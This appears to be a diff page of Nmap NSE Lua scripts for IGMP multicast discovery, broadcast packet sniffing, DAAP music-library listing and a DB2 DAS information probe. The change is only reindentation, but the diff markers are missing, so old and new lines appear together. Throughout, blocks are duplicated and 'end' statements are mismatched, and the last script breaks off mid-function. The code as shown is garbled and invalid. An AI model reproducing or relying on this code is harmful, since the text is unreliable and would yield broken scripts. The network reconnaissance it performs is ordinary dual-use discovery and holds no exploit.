return false
end
local file = io.open(filename, "r")
if not file then
return false
end
for l in file:lines() do
groupnames_db[#groupnames_db + 1] = stdnse.strsplit("\t", l)
end
for l in file:lines() do
groupnames_db[#groupnames_db + 1] = stdnse.strsplit("\t", l)
end
file:close()
return groupnames_db
file:close()
return groupnames_db
end
local mgroup_name_identify = function(db, ip)
--stdnse.print_debug("%s: '%s'", SCRIPT_NAME, ip)
for _, mg in ipairs(db) do
local ip1 = mg[1]
local ip2 = mg[2]
local desc = mg[3]
--stdnse.print_debug("%s: try: %s <= %s <= %s (%s)", SCRIPT_NAME, ip1, ip, ip2, desc)
if (not ipOps.compare_ip(ip, "lt", ip1) and not ipOps.compare_ip(ip2, "lt", ip)) then
--stdnse.print_debug("%s: found! %s <= %s <= %s (%s)", SCRIPT_NAME, ip1, ip, ip2, desc)
return desc
end
--stdnse.print_debug("%s: '%s'", SCRIPT_NAME, ip)
for _, mg in ipairs(db) do
local ip1 = mg[1]
local ip2 = mg[2]
local desc = mg[3]
--stdnse.print_debug("%s: try: %s <= %s <= %s (%s)", SCRIPT_NAME, ip1, ip, ip2, desc)
if (not ipOps.compare_ip(ip, "lt", ip1) and not ipOps.compare_ip(ip2, "lt", ip)) then
--stdnse.print_debug("%s: found! %s <= %s <= %s (%s)", SCRIPT_NAME, ip1, ip, ip2, desc)
return desc
end
return false
end
return false
end
action = function(host, port)
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local version = stdnse.get_script_args(SCRIPT_NAME .. ".version") or 2
local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
timeout = (timeout or 7) * 1000
if version ~= 'all' then
version = tonumber(version)
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
local version = stdnse.get_script_args(SCRIPT_NAME .. ".version") or 2
local interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
timeout = (timeout or 7) * 1000
if version ~= 'all' then
version = tonumber(version)
end
local responses, results, interfaces, lthreads = {}, {}, {}, {}
local result, grouptable, sourcetable
local group_names_fname = stdnse.get_script_args(SCRIPT_NAME .. ".mgroupnamesdb") or
nmap.fetchfile("nselib/data/mgroupnames.db")
local mg_names_db = group_names_fname and mgroup_names_fetch(group_names_fname)
-- Check the interface
interface = interface or nmap.get_interface()
if interface then
-- Get the interface information
interface = nmap.get_interface_info(interface)
if not interface then
return ("ERROR: Failed to retreive %s interface information."):format(interface)
end
interfaces = {interface}
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, interface.shortname)
else
local ifacelist = nmap.list_interfaces()
for _, iface in ipairs(ifacelist) do
-- Match all ethernet interfaces
if iface.address and iface.link=="ethernet" and
iface.address:match("%d+%.%d+%.%d+%.%d+") then
local responses, results, interfaces, lthreads = {}, {}, {}, {}
local result, grouptable, sourcetable
local group_names_fname = stdnse.get_script_args(SCRIPT_NAME .. ".mgroupnamesdb") or
nmap.fetchfile("nselib/data/mgroupnames.db")
local mg_names_db = group_names_fname and mgroup_names_fetch(group_names_fname)
-- Check the interface
interface = interface or nmap.get_interface()
if interface then
-- Get the interface information
interface = nmap.get_interface_info(interface)
if not interface then
return ("ERROR: Failed to retreive %s interface information."):format(interface)
end
interfaces = {interface}
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, interface.shortname)
else
local ifacelist = nmap.list_interfaces()
for _, iface in ipairs(ifacelist) do
-- Match all ethernet interfaces
if iface.address and iface.link=="ethernet" and
iface.address:match("%d+%.%d+%.%d+%.%d+") then
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, iface.shortname)
table.insert(interfaces, iface)
end
end
stdnse.print_debug("%s: Will use %s interface.", SCRIPT_NAME, iface.shortname)
table.insert(interfaces, iface)
end
end
end
-- We should iterate over interfaces
for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(igmpListener, interface, timeout, responses)
igmpQuery(interface, version)
lthreads[co] = true
-- We should iterate over interfaces
for _, interface in pairs(interfaces) do
local co = stdnse.new_thread(igmpListener, interface, timeout, responses)
igmpQuery(interface, version)
lthreads[co] = true
end
local condvar = nmap.condvar(responses)
-- Wait for the listening threads to finish
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
local condvar = nmap.condvar(responses)
-- Wait for the listening threads to finish
repeat
for thread in pairs(lthreads) do
if coroutine.status(thread) == "dead" then lthreads[thread] = nil end
end
if ( next(lthreads) ) then
condvar("wait")
end
until next(lthreads) == nil;
-- Output useful info from the responses
if #responses > 0 then
-- We should sort our list here.
-- This is useful to have consistent results for tools such as Ndiff.
table.sort(responses, respCompare)
for _, response in pairs(responses) do
result = {}
result.name = response.src
table.insert(result, "Interface: " .. response.interface)
-- Add to new targets if newtargets script arg provided
if target.ALLOW_NEW_TARGETS then target.add(response.src) end
if response.type == 0x12 then
table.insert(result, "Version: 1")
table.insert(result, "Multicast group: ".. response.group)
elseif response.type == 0x16 then
table.insert(result, "Version: 2")
table.insert(result, "Group: ".. response.group)
local mg_desc = mgroup_name_identify(mg_names_db, response.group)
if mg_desc then
table.insert(result, "Description: ".. mg_desc)
end
elseif response.type == 0x22 then
table.insert(result, "Version: 3")
for _, group in pairs(response.groups) do
grouptable = {}
grouptable.name = "Group: " .. group.address
if group.mode == 0x01 then
table.insert(grouptable, "Mode: INCLUDE")
elseif group.mode == 0x02 then
table.insert(grouptable, "Mode: EXCLUDE")
end
local mg_desc = mgroup_name_identify(mg_names_db, group.address)
if mg_desc then
table.insert(grouptable, "Description: ".. mg_desc)
end
if group.nsrc > 0 then
sourcetable = {}
sourcetable.name = "Sources:"
table.insert(sourcetable, group.src)
table.insert(grouptable, sourcetable)
end
table.insert(result, grouptable)
end
end
table.insert(results, result)
end
if #results>0 and not target.ALLOW_NEW_TARGETS then
table.insert(results,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, results)
if ( next(lthreads) ) then
condvar("wait")
end
until next(lthreads) == nil;
-- Output useful info from the responses
if #responses > 0 then
-- We should sort our list here.
-- This is useful to have consistent results for tools such as Ndiff.
table.sort(responses, respCompare)
for _, response in pairs(responses) do
result = {}
result.name = response.src
table.insert(result, "Interface: " .. response.interface)
-- Add to new targets if newtargets script arg provided
if target.ALLOW_NEW_TARGETS then target.add(response.src) end
if response.type == 0x12 then
table.insert(result, "Version: 1")
table.insert(result, "Multicast group: ".. response.group)
elseif response.type == 0x16 then
table.insert(result, "Version: 2")
table.insert(result, "Group: ".. response.group)
local mg_desc = mgroup_name_identify(mg_names_db, response.group)
if mg_desc then
table.insert(result, "Description: ".. mg_desc)
end
elseif response.type == 0x22 then
table.insert(result, "Version: 3")
for _, group in pairs(response.groups) do
grouptable = {}
grouptable.name = "Group: " .. group.address
if group.mode == 0x01 then
table.insert(grouptable, "Mode: INCLUDE")
elseif group.mode == 0x02 then
table.insert(grouptable, "Mode: EXCLUDE")
end
local mg_desc = mgroup_name_identify(mg_names_db, group.address)
if mg_desc then
table.insert(grouptable, "Description: ".. mg_desc)
end
if group.nsrc > 0 then
sourcetable = {}
sourcetable.name = "Sources:"
table.insert(sourcetable, group.src)
table.insert(grouptable, sourcetable)
end
table.insert(result, grouptable)
end
end
table.insert(results, result)
end
if #results>0 and not target.ALLOW_NEW_TARGETS then
table.insert(results,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, results)
end
end

View File

@@ -70,11 +70,11 @@ unless a specific interface was given using the -e argument to Nmap.
-- Version 0.1
-- Created 07/02/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 07/25/2011 - v0.2 -
-- * added more documentation
-- * added getInterfaces code to detect available
-- interfaces.
-- * corrected bug that would fail to load
-- decoders if not in a relative directory.
-- * added more documentation
-- * added getInterfaces code to detect available
-- interfaces.
-- * corrected bug that would fail to load
-- decoders if not in a relative directory.
@@ -86,11 +86,11 @@ categories = {"broadcast", "safe"}
prerule = function()
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false
end
return true
end
---
@@ -101,26 +101,26 @@ end
-- @return decoders table of decoder functions on success
-- @return err string containing the error message on failure
loadDecoders = function(fname)
-- resolve the full, absolute, path
local abs_fname = nmap.fetchfile(fname)
-- resolve the full, absolute, path
local abs_fname = nmap.fetchfile(fname)
if ( not(abs_fname) ) then
return false, ("ERROR: Failed to load decoder definition (%s)"):format(fname)
end
if ( not(abs_fname) ) then
return false, ("ERROR: Failed to load decoder definition (%s)"):format(fname)
end
local env = setmetatable({Decoders = {}}, {__index = _G});
local file = loadfile(abs_fname, "t", env)
if(not(file)) then
stdnse.print_debug("%s: Couldn't load decoder file: %s", SCRIPT_NAME, fname)
return false, "ERROR: Couldn't load decoder file: " .. fname
end
local env = setmetatable({Decoders = {}}, {__index = _G});
local file = loadfile(abs_fname, "t", env)
if(not(file)) then
stdnse.print_debug("%s: Couldn't load decoder file: %s", SCRIPT_NAME, fname)
return false, "ERROR: Couldn't load decoder file: " .. fname
end
file()
file()
local d = env.Decoders
local d = env.Decoders
if ( d ) then return true, d end
return false, "ERROR: Failed to load decoders"
if ( d ) then return true, d end
return false, "ERROR: Failed to load decoders"
end
---
@@ -130,66 +130,66 @@ end
-- @param iface table containing <code>name</code> and <code>address</code>
-- @param Decoders the decoders class loaded externally
-- @param decodertab the "result" table to which all discovered items are
-- reported
-- reported
sniffInterface = function(iface, Decoders, decodertab)
local condvar = nmap.condvar(decodertab)
local sock = nmap.new_socket()
local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-listener.timeout"))
local condvar = nmap.condvar(decodertab)
local sock = nmap.new_socket()
local timeout = stdnse.parse_timespec(stdnse.get_script_args("broadcast-listener.timeout"))
-- default to 30 seconds, if nothing else was set
timeout = (timeout or 30) * 1000
-- default to 30 seconds, if nothing else was set
timeout = (timeout or 30) * 1000
-- We want all packets that aren't explicitly for us
sock:pcap_open(iface.name, 1500, true, ("!host %s"):format(iface.address))
-- We want all packets that aren't explicitly for us
sock:pcap_open(iface.name, 1500, true, ("!host %s"):format(iface.address))
-- Set a short timeout so that we can timeout in time if needed
sock:set_timeout(100)
-- Set a short timeout so that we can timeout in time if needed
sock:set_timeout(100)
local start_time = nmap.clock_ms()
while( nmap.clock_ms() - start_time < timeout ) do
local status, _, _, data = sock:pcap_receive()
local start_time = nmap.clock_ms()
while( nmap.clock_ms() - start_time < timeout ) do
local status, _, _, data = sock:pcap_receive()
if ( status ) then
local p = packet.Packet:new( data, #data )
if ( status ) then
local p = packet.Packet:new( data, #data )
-- if we have an UDP-based broadcast, we should have a proper packet
if ( p and p.udp_dport and ( decodertab.udp[p.udp_dport] or Decoders.udp[p.udp_dport] ) ) then
if ( not(decodertab.udp[p.udp_dport]) ) then
decodertab.udp[p.udp_dport] = Decoders.udp[p.udp_dport]:new()
end
decodertab.udp[p.udp_dport]:process(data)
-- The packet was decoded successfully but we don't have a valid decoder
-- Report this
elseif ( p and p.udp_dport ) then
stdnse.print_debug(2, "No decoder for dst port %d", p.udp_dport)
-- we don't have a packet, so this is most likely something layer2 based
-- in that case, check the ether Decoder table for pattern matches
else
-- attempt to find a match for a pattern
local pos, hex = bin.unpack("H" .. #data, data)
local decoded = false
for match, _ in pairs(Decoders.ether) do
-- attempts to match the "raw" packet against a filter
-- supplied in each ethernet packet decoder
if ( hex:match(match) ) then
if ( not(decodertab.ether[match]) ) then
decodertab.ether[match] = Decoders.ether[match]:new()
end
-- start a new decoding thread. This way, if something gets foobared
-- the whole script doesn't break, only the packet decoding for that
-- specific packet.
stdnse.new_thread( decodertab.ether[match].process, decodertab.ether[match], data )
decoded = true
end
end
-- no decoder was found for this layer2 packet
if ( not(decoded) and #data > 10 ) then
stdnse.print_debug(1, "No decoder for packet hex: %s", select(2, bin.unpack("H10", data) ) )
end
end
end
end
condvar "signal"
-- if we have an UDP-based broadcast, we should have a proper packet
if ( p and p.udp_dport and ( decodertab.udp[p.udp_dport] or Decoders.udp[p.udp_dport] ) ) then
if ( not(decodertab.udp[p.udp_dport]) ) then
decodertab.udp[p.udp_dport] = Decoders.udp[p.udp_dport]:new()
end
decodertab.udp[p.udp_dport]:process(data)
-- The packet was decoded successfully but we don't have a valid decoder
-- Report this
elseif ( p and p.udp_dport ) then
stdnse.print_debug(2, "No decoder for dst port %d", p.udp_dport)
-- we don't have a packet, so this is most likely something layer2 based
-- in that case, check the ether Decoder table for pattern matches
else
-- attempt to find a match for a pattern
local pos, hex = bin.unpack("H" .. #data, data)
local decoded = false
for match, _ in pairs(Decoders.ether) do
-- attempts to match the "raw" packet against a filter
-- supplied in each ethernet packet decoder
if ( hex:match(match) ) then
if ( not(decodertab.ether[match]) ) then
decodertab.ether[match] = Decoders.ether[match]:new()
end
-- start a new decoding thread. This way, if something gets foobared
-- the whole script doesn't break, only the packet decoding for that
-- specific packet.
stdnse.new_thread( decodertab.ether[match].process, decodertab.ether[match], data )
decoded = true
end
end
-- no decoder was found for this layer2 packet
if ( not(decoded) and #data > 10 ) then
stdnse.print_debug(1, "No decoder for packet hex: %s", select(2, bin.unpack("H10", data) ) )
end
end
end
end
condvar "signal"
end
---
@@ -199,96 +199,96 @@ end
-- @param link string containing the link type to filter
-- @param up string containing the interface status to filter
-- @return result table containing tables of interfaces
-- each interface table has the following fields:
-- <code>name</code> containing the device name
-- <code>address</code> containing the device address
-- each interface table has the following fields:
-- <code>name</code> containing the device name
-- <code>address</code> containing the device address
getInterfaces = function(link, up)
if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces()
local result = {}
if ( not(err) ) then
for _, iface in ipairs(interfaces) do
if ( iface.link == link and
iface.up == up and
iface.address ) then
if( not(nmap.list_interfaces) ) then return end
local interfaces, err = nmap.list_interfaces()
local result = {}
if ( not(err) ) then
for _, iface in ipairs(interfaces) do
if ( iface.link == link and
iface.up == up and
iface.address ) then
-- exclude ipv6 addresses for now
if ( not(iface.address:match(":")) ) then
table.insert(result, { name = iface.device,
address = iface.address } )
end
end
end
end
return result
-- exclude ipv6 addresses for now
if ( not(iface.address:match(":")) ) then
table.insert(result, { name = iface.device,
address = iface.address } )
end
end
end
end
return result
end
action = function()
local DECODERFILE = "nselib/data/packetdecoders.lua"
local iface = nmap.get_interface()
local interfaces = {}
local DECODERFILE = "nselib/data/packetdecoders.lua"
local iface = nmap.get_interface()
local interfaces = {}
-- was an interface supplied using the -e argument?
if ( iface ) then
local iinfo, err = nmap.get_interface_info(iface)
-- was an interface supplied using the -e argument?
if ( iface ) then
local iinfo, err = nmap.get_interface_info(iface)
if ( not(iinfo.address) ) then
return "\n ERROR: The IP address of the interface could not be determined ..."
end
if ( not(iinfo.address) ) then
return "\n ERROR: The IP address of the interface could not be determined ..."
end
interfaces = { { name = iface, address = iinfo.address } }
else
-- no interface was supplied, attempt autodiscovery
interfaces = getInterfaces("ethernet", "up")
end
interfaces = { { name = iface, address = iinfo.address } }
else
-- no interface was supplied, attempt autodiscovery
interfaces = getInterfaces("ethernet", "up")
end
-- make sure we have at least one interface to start sniffing
if ( #interfaces == 0 ) then
return "\n ERROR: Could not determine any valid interfaces"
end
-- make sure we have at least one interface to start sniffing
if ( #interfaces == 0 ) then
return "\n ERROR: Could not determine any valid interfaces"
end
-- load the decoders from file
local status, Decoders = loadDecoders(DECODERFILE)
if ( not(status) ) then return "\n " .. Decoders end
-- load the decoders from file
local status, Decoders = loadDecoders(DECODERFILE)
if ( not(status) ) then return "\n " .. Decoders end
-- create a local table to handle instantiated decoders
local decodertab = { udp = {}, ether = {} }
local condvar = nmap.condvar(decodertab)
local threads = {}
-- create a local table to handle instantiated decoders
local decodertab = { udp = {}, ether = {} }
local condvar = nmap.condvar(decodertab)
local threads = {}
-- start a thread for each interface to sniff
for _, iface in ipairs(interfaces) do
local co = stdnse.new_thread(sniffInterface, iface, Decoders, decodertab)
threads[co] = true
end
-- start a thread for each interface to sniff
for _, iface in ipairs(interfaces) do
local co = stdnse.new_thread(sniffInterface, iface, Decoders, decodertab)
threads[co] = true
end
-- wait for all threads to finish sniffing
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then
threads[thread] = nil
end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
-- wait for all threads to finish sniffing
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then
threads[thread] = nil
end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
local out_outer = {}
local out_outer = {}
-- create the results table
for proto, _ in pairs(decodertab) do
local out_inner = {}
for key, decoder in pairs(decodertab[proto]) do
table.insert( out_inner, decodertab[proto][key]:getResults() )
end
if ( #out_inner > 0 ) then
table.insert( out_outer, { name = proto, out_inner } )
end
end
-- create the results table
for proto, _ in pairs(decodertab) do
local out_inner = {}
for key, decoder in pairs(decodertab[proto]) do
table.insert( out_inner, decodertab[proto][key]:getResults() )
end
if ( #out_inner > 0 ) then
table.insert( out_outer, { name = proto, out_inner } )
end
end
table.sort(out_outer, function(a, b) return a.name < b.name end)
return stdnse.format_output(true, out_outer)
table.sort(out_outer, function(a, b) return a.name < b.name end)
return stdnse.format_output(true, out_outer)
end

View File

@@ -57,24 +57,24 @@ portrule = shortport.port_or_service(3689, "daap")
-- @param port table containing number and protocol fields.
-- @return string containing the name of the library
function getLibraryName( host, port )
local _, libname, pos
local url = "daap://" .. host.ip .. "/server-info"
local response = http.get( host, port, url, nil, nil, nil)
local _, libname, pos
local url = "daap://" .. host.ip .. "/server-info"
local response = http.get( host, port, url, nil, nil, nil)
if response == nil or response.body == nil or response.body=="" then
return
end
if response == nil or response.body == nil or response.body=="" then
return
end
pos = string.find(response.body, "minm")
pos = string.find(response.body, "minm")
if pos > 0 then
local len
pos = pos + 4
pos, len = bin.unpack( ">I", response.body, pos )
pos, libname = bin.unpack( "A" .. len, response.body, pos )
end
if pos > 0 then
local len
pos = pos + 4
pos, len = bin.unpack( ">I", response.body, pos )
pos, libname = bin.unpack( "A" .. len, response.body, pos )
end
return libname
return libname
end
--- Reads the first item value specified by name
@@ -84,23 +84,23 @@ end
-- @return number
local function getAttributeAsInt( data, name )
local pos = string.find(data, name)
local attrib
local pos = string.find(data, name)
local attrib
if pos and pos > 0 then
pos = pos + 4
local len
pos, len = bin.unpack( ">I", data, pos )
if pos and pos > 0 then
pos = pos + 4
local len
pos, len = bin.unpack( ">I", data, pos )
if ( len ~= 4 ) then
stdnse.print_debug( string.format("Unexpected length returned: %d", len ) )
return
end
if ( len ~= 4 ) then
stdnse.print_debug( string.format("Unexpected length returned: %d", len ) )
return
end
pos, attrib = bin.unpack( ">I", data, pos )
end
pos, attrib = bin.unpack( ">I", data, pos )
end
return attrib
return attrib
end
@@ -111,14 +111,14 @@ end
-- @return number containing the session identity received from the server
function getSessionId( host, port )
local _, sessionid
local response = http.get( host, port, "/login", nil, nil, nil )
local _, sessionid
local response = http.get( host, port, "/login", nil, nil, nil )
if response ~= nil then
sessionid = getAttributeAsInt( response.body, "mlid")
end
if response ~= nil then
sessionid = getAttributeAsInt( response.body, "mlid")
end
return sessionid
return sessionid
end
--- Gets the revision number for the library
@@ -128,15 +128,15 @@ end
-- @param sessionid number containing session identifier from <code>getSessionId</code>
-- @return number containing the revision number for the library
function getRevisionNumber( host, port, sessionid )
local url = "/update?session-id=" .. sessionid .. "&revision-number=1"
local _, revision
local response = http.get( host, port, url, nil, nil, nil )
local url = "/update?session-id=" .. sessionid .. "&revision-number=1"
local _, revision
local response = http.get( host, port, url, nil, nil, nil )
if response ~= nil then
revision = getAttributeAsInt( response.body, "musr")
end
if response ~= nil then
revision = getAttributeAsInt( response.body, "musr")
end
return revision
return revision
end
--- Gets the database identitity for the library
@@ -146,15 +146,15 @@ end
-- @param sessionid number containing session identifier from <code>getSessionId</code>
-- @param revid number containing the revision id as retrieved from <code>getRevisionNumber</code>
function getDatabaseId( host, port, sessionid, revid )
local url = "/databases?session-id=" .. sessionid .. "&revision-number=" .. revid
local response = http.get( host, port, url, nil, nil, nil )
local miid
local url = "/databases?session-id=" .. sessionid .. "&revision-number=" .. revid
local response = http.get( host, port, url, nil, nil, nil )
local miid
if response ~= nil then
miid = getAttributeAsInt( response.body, "miid")
end
if response ~= nil then
miid = getAttributeAsInt( response.body, "miid")
end
return miid
return miid
end
--- Gets a string item type from data
@@ -164,19 +164,19 @@ end
-- @return pos number containing new position after reading string
-- @return value string containing the string item that was read
local function getStringItem( data, pos )
local len
local len
pos, len = bin.unpack(">I", data, pos)
pos, len = bin.unpack(">I", data, pos)
if ( len > 0 ) then
return bin.unpack( "A"..len, data, pos )
end
if ( len > 0 ) then
return bin.unpack( "A"..len, data, pos )
end
end
local itemFetcher = {}
itemFetcher["mikd"] = function( data, pos ) return getStringItem( data, pos ) end
itemFetcher["mikd"] = function( data, pos ) return getStringItem( data, pos ) end
itemFetcher["miid"] = itemFetcher["mikd"]
itemFetcher["minm"] = itemFetcher["mikd"]
itemFetcher["asal"] = itemFetcher["mikd"]
@@ -190,22 +190,22 @@ itemFetcher["asar"] = itemFetcher["mikd"]
-- <code>asal</code> and <code>asar</code> when available
parseItem = function( data, len )
local pos, name, value = 1, nil, nil
local item = {}
local pos, name, value = 1, nil, nil
local item = {}
while( len - pos > 0 ) do
pos, name = bin.unpack( "A4", data, pos )
while( len - pos > 0 ) do
pos, name = bin.unpack( "A4", data, pos )
if itemFetcher[name] then
pos, item[name] = itemFetcher[name](data, pos )
else
stdnse.print_debug( string.format("No itemfetcher for: %s", name) )
break
end
if itemFetcher[name] then
pos, item[name] = itemFetcher[name](data, pos )
else
stdnse.print_debug( string.format("No itemfetcher for: %s", name) )
break
end
end
end
return item
return item
end
@@ -218,124 +218,124 @@ end
-- @param limit number containing the maximum amount of songs to return
-- @return table containing the following structure [artist][album][songs]
function getItems( host, port, sessionid, revid, dbid, limit )
local meta = "dmap.itemid,dmap.itemname,dmap.itemkind,daap.songalbum,daap.songartist"
local url = "/databases/" .. dbid .. "/items?type=music&meta=" .. meta .. "&session-id=" .. sessionid .. "&revision-number=" .. revid
local response = http.get( host, port, url, nil, nil, nil )
local item, data, pos, len
local items = {}
local limit = limit or -1
local meta = "dmap.itemid,dmap.itemname,dmap.itemkind,daap.songalbum,daap.songartist"
local url = "/databases/" .. dbid .. "/items?type=music&meta=" .. meta .. "&session-id=" .. sessionid .. "&revision-number=" .. revid
local response = http.get( host, port, url, nil, nil, nil )
local item, data, pos, len
local items = {}
local limit = limit or -1
if response == nil then
return
end
if response == nil then
return
end
-- get our position to the list of items
pos = string.find(response.body, "mlcl")
pos = pos + 4
-- get our position to the list of items
pos = string.find(response.body, "mlcl")
pos = pos + 4
while ( pos > 0 and pos + 8 < response.body:len() ) do
while ( pos > 0 and pos + 8 < response.body:len() ) do
-- find the next single item
pos = string.find(response.body, "mlit", pos)
pos = pos + 4
-- find the next single item
pos = string.find(response.body, "mlit", pos)
pos = pos + 4
pos, len = bin.unpack( ">I", response.body, pos )
pos, len = bin.unpack( ">I", response.body, pos )
if ( pos < response.body:len() and pos + len < response.body:len() ) then
pos, data = bin.unpack( "A" .. len, response.body, pos )
else
break
end
if ( pos < response.body:len() and pos + len < response.body:len() ) then
pos, data = bin.unpack( "A" .. len, response.body, pos )
else
break
end
-- parse a single item
item = parseItem( data, len )
-- parse a single item
item = parseItem( data, len )
local album = item.asal or "unknown"
local artist= item.asar or "unknown"
local song = item.minm or ""
local album = item.asal or "unknown"
local artist= item.asar or "unknown"
local song = item.minm or ""
if items[artist] == nil then
items[artist] = {}
end
if items[artist] == nil then
items[artist] = {}
end
if items[artist][album] == nil then
items[artist][album] = {}
end
if items[artist][album] == nil then
items[artist][album] = {}
end
if limit == 0 then
break
elseif limit > 0 then
limit = limit - 1
end
if limit == 0 then
break
elseif limit > 0 then
limit = limit - 1
end
table.insert( items[artist][album], song )
table.insert( items[artist][album], song )
end
end
return items
return items
end
action = function(host, port)
local limit = tonumber(nmap.registry.args.daap_item_limit) or 100
local libname = getLibraryName( host, port )
local limit = tonumber(nmap.registry.args.daap_item_limit) or 100
local libname = getLibraryName( host, port )
if libname == nil then
return
end
if libname == nil then
return
end
local sessionid = getSessionId( host, port )
local sessionid = getSessionId( host, port )
if sessionid == nil then
return stdnse.format_output(true, "Libname: " .. libname)
end
if sessionid == nil then
return stdnse.format_output(true, "Libname: " .. libname)
end
local revid = getRevisionNumber( host, port, sessionid )
local revid = getRevisionNumber( host, port, sessionid )
if revid == nil then
return stdnse.format_output(true, "Libname: " .. libname)
end
if revid == nil then
return stdnse.format_output(true, "Libname: " .. libname)
end
local dbid = getDatabaseId( host, port, sessionid, revid )
local dbid = getDatabaseId( host, port, sessionid, revid )
if dbid == nil then
return
end
if dbid == nil then
return
end
local items = getItems( host, port, sessionid, revid, dbid, limit )
local items = getItems( host, port, sessionid, revid, dbid, limit )
if items == nil then
return
end
if items == nil then
return
end
local albums, songs, artists, results = {}, {}, {}, {}
local albums, songs, artists, results = {}, {}, {}, {}
table.insert( results, libname )
table.insert( results, libname )
for artist, v in pairs(items) do
albums = {}
for album, v2 in pairs(v) do
songs = {}
for _, song in pairs( v2 ) do
table.insert( songs, song )
end
table.insert( albums, album )
table.insert( albums, songs )
end
table.insert( artists, artist )
table.insert( artists, albums )
end
for artist, v in pairs(items) do
albums = {}
for album, v2 in pairs(v) do
songs = {}
for _, song in pairs( v2 ) do
table.insert( songs, song )
end
table.insert( albums, album )
table.insert( albums, songs )
end
table.insert( artists, artist )
table.insert( artists, albums )
end
table.insert( results, artists )
local output = stdnse.format_output( true, results )
table.insert( results, artists )
local output = stdnse.format_output( true, results )
if limit > 0 then
output = output .. string.format("\n\nOutput limited to %d items", limit )
end
if limit > 0 then
output = output .. string.format("\n\nOutput limited to %d items", limit )
end
return output
return output
end

View File

@@ -103,13 +103,13 @@ portrule = shortport.version_port_or_service({523}, nil,
-- @return string containing the complete server profile
function extract_server_profile(data)
local server_profile_offset = 37
local server_profile_offset = 37
if server_profile_offset > data:len() then
return
end
if server_profile_offset > data:len() then
return
end
return data:sub(server_profile_offset)
return data:sub(server_profile_offset)
end
@@ -124,28 +124,28 @@ end
-- @return table with parsed data
function parse_db2_packet(packet)
local info_length_offset = 158
local info_offset = 160
local version_offset = 97
local response = {}
local info_length_offset = 158
local info_offset = 160
local version_offset = 97
local response = {}
if packet.header.data_len < info_length_offset then
stdnse.print_debug( "db2-das-info: packet too short to be DB2 response...")
return
end
if packet.header.data_len < info_length_offset then
stdnse.print_debug( "db2-das-info: packet too short to be DB2 response...")
return
end
local _, len = bin.unpack(">S", packet.data:sub(info_length_offset, info_length_offset + 1))
_, response.version = bin.unpack("z", packet.data:sub(version_offset) )
response.info_length = len - 4
response.info = packet.data:sub(info_offset, info_offset + response.info_length - (info_offset-info_length_offset))
local _, len = bin.unpack(">S", packet.data:sub(info_length_offset, info_length_offset + 1))
_, response.version = bin.unpack("z", packet.data:sub(version_offset) )
response.info_length = len - 4
response.info = packet.data:sub(info_offset, info_offset + response.info_length - (info_offset-info_length_offset))
if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: version: %s", response.version) )
stdnse.print_debug( string.format("db2-das-info: info_length: %d", response.info_length) )
stdnse.print_debug( string.format("db2-das-info: response.info:len(): %d", response.info:len()))
end
if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: version: %s", response.version) )
stdnse.print_debug( string.format("db2-das-info: info_length: %d", response.info_length) )
stdnse.print_debug( string.format("db2-das-info: response.info:len(): %d", response.info:len()))
end
return response
return response
end
@@ -163,67 +163,67 @@ end
-- @return table with header and data
function read_db2_packet(socket)
local packet = {}
local header_len = 41
local total_len = 0
local buf
local packet = {}
local header_len = 41
local total_len = 0
local buf
local DATA_LENGTH_OFFSET = 38
local ENDIANESS_OFFSET = 23
local DATA_LENGTH_OFFSET = 38
local ENDIANESS_OFFSET = 23
local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with DB2 server")
socket:close()
end
local catch = function()
stdnse.print_debug("%s", "db2-das-info: ERROR communicating with DB2 server")
socket:close()
end
local try = nmap.new_try(catch)
packet.header = {}
local try = nmap.new_try(catch)
packet.header = {}
buf = try( socket:receive_bytes(header_len) )
buf = try( socket:receive_bytes(header_len) )
packet.header.raw = buf:sub(1, header_len)
packet.header.raw = buf:sub(1, header_len)
if packet.header.raw:sub(1, 10) == string.char(0x00, 0x00, 0x00, 0x00, 0x44, 0x42, 0x32, 0x44, 0x41, 0x53) then
if packet.header.raw:sub(1, 10) == string.char(0x00, 0x00, 0x00, 0x00, 0x44, 0x42, 0x32, 0x44, 0x41, 0x53) then
stdnse.print_debug("db2-das-info: Got DB2DAS packet")
stdnse.print_debug("db2-das-info: Got DB2DAS packet")
local _, endian = bin.unpack( "A2", packet.header.raw, ENDIANESS_OFFSET )
local _, endian = bin.unpack( "A2", packet.header.raw, ENDIANESS_OFFSET )
if endian == "9z" then
_, packet.header.data_len = bin.unpack("I", packet.header.raw, DATA_LENGTH_OFFSET )
else
_, packet.header.data_len = bin.unpack(">I", packet.header.raw, DATA_LENGTH_OFFSET )
end
if endian == "9z" then
_, packet.header.data_len = bin.unpack("I", packet.header.raw, DATA_LENGTH_OFFSET )
else
_, packet.header.data_len = bin.unpack(">I", packet.header.raw, DATA_LENGTH_OFFSET )
end
total_len = header_len + packet.header.data_len
total_len = header_len + packet.header.data_len
if(nmap.debugging() > 3) then
stdnse.print_debug( string.format("db2-das-info: data_len: %d", packet.header.data_len) )
stdnse.print_debug( string.format("db2-das-info: buf_len: %d", buf:len()))
